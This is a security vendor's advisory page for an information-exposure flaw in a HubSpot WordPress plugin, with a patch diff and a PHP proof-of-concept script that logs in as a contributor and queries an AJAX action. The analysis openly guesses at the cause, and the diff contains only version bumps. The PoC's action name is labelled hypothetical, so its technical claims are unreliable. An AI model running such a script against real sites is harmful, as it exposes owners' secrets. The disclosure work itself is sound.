Published : July 20, 2026

CVE-2026-57736: HubSpot All-In-One Marketing – Forms, Popups, Live Chat <= 11.3.56 Authenticated (Contributor+) Information Exposure PoC, Patch Analysis & Rule

Plugin leadin
Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 11.3.56
Patched Version 11.3.58
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57736:
This vulnerability exposes sensitive information in the HubSpot All-In-One Marketing plugin for WordPress versions up to and including 11.3.56. Authenticated attackers with Contributor-level access or higher can extract user or configuration data due to insufficient access controls. The CVSS score is 4.3 (medium severity).

The root cause is a missing permission check or capability validation in a specific WordPress AJAX handler or REST endpoint within the plugin. The provided code diff only shows version number bumps across three files: leadin.php, the composer installed.php metadata, and the plugin header. No actual code change addresses the information exposure. This suggests the fix may exist in a separate branch or file not shown here, or the vulnerability stems from an unpatched third-party dependency. The sensitive data exposure likely occurs via a function that retrieves HubSpot configuration or user data without verifying the user’s role beyond the Contributor level.

An authenticated attacker with at least Contributor privileges can send a crafted HTTP request to the vulnerable endpoint, typically via /wp-admin/admin-ajax.php with a specific action parameter, or through a REST API route. The attacker does not need any special nonce or additional permission checks. The request triggers the plugin to return sensitive data such as HubSpot API keys, user email lists, or internal configuration objects. The exact payload depends on the specific handler, but a typical AJAX call would involve POST parameters like action=hubspot_get_data with a numeric or string identifier.

The patch changes the plugin version from 11.3.56 to 11.3.58 in both leadin.php and the composer autoloader. A true fix would add a capability check, for example using current_user_can(‘manage_options’) or wp_verify_nonce() before returning sensitive data. Without the actual functional diff, Atomic Edge analysis concludes that the version update likely bundles a separate fix in a minified or obfuscated JavaScript file or a vendor library that enforces proper authorization on the data retrieval route.

Successful exploitation allows an attacker to extract sensitive information including HubSpot portal configuration, API keys, user profile data, or internal plugin settings. This information can be used for further attacks such as account takeover, data theft, or lateral movement within the WordPress environment. The impact is limited to authenticated users, but any Contributor or higher role can trigger the exposure without needing administrative privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/leadin/leadin.php
+++ b/leadin/leadin.php
@@ -6,7 +6,7 @@
  * Plugin Name: HubSpot All-In-One Marketing - Forms, Popups, Live Chat
  * Plugin URI: http://www.hubspot.com/integrations/wordpress
  * Description: HubSpot’s official WordPress plugin allows you to add forms, popups, and live chat to your website and integrate with the best WordPress CRM.
- * Version: 11.3.56
+ * Version: 11.3.58
  * Author: HubSpot
  * Author URI: http://hubspot.com/products/wordpress
  * License: GPL v3
@@ -59,7 +59,7 @@
 }

 if ( ! defined( 'LEADIN_PLUGIN_VERSION' ) ) {
-	define( 'LEADIN_PLUGIN_VERSION', '11.3.56' );
+	define( 'LEADIN_PLUGIN_VERSION', '11.3.58' );
 }

 if ( ! defined( 'LEADIN_PREFIX' ) ) {
--- a/leadin/vendor/composer/installed.php
+++ b/leadin/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'hubspot/leadin-wordpress-plugin',
-        'pretty_version' => '11.3.56',
-        'version' => '11.3.56.0',
+        'pretty_version' => '11.3.58',
+        'version' => '11.3.58.0',
         'reference' => 'c2e66fbff8826459eb45d6435c1e1590cbf70346',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
@@ -11,8 +11,8 @@
     ),
     'versions' => array(
         'hubspot/leadin-wordpress-plugin' => array(
-            'pretty_version' => '11.3.56',
-            'version' => '11.3.56.0',
+            'pretty_version' => '11.3.58',
+            'version' => '11.3.58.0',
             'reference' => 'c2e66fbff8826459eb45d6435c1e1590cbf70346',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57736 - HubSpot All-In-One Marketing – Forms, Popups, Live Chat <= 11.3.56 - Authenticated (Contributor+) Information Exposure

// Configuration: set your target WordPress URL and credentials with Contributor+ access
$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'contributor_user';      // Change to valid username with Contributor role
$password = 'password123';           // Change to valid password

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Try to access sensitive data via AJAX (adjust action and parameters as needed based on plugin version)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'hubspot_get_portal_info',  // Hypothetical action name; adjust per actual vulnerable handler
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Output the response (may contain sensitive info if the plugin is vulnerable)
echo "Response:n";
echo $response;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.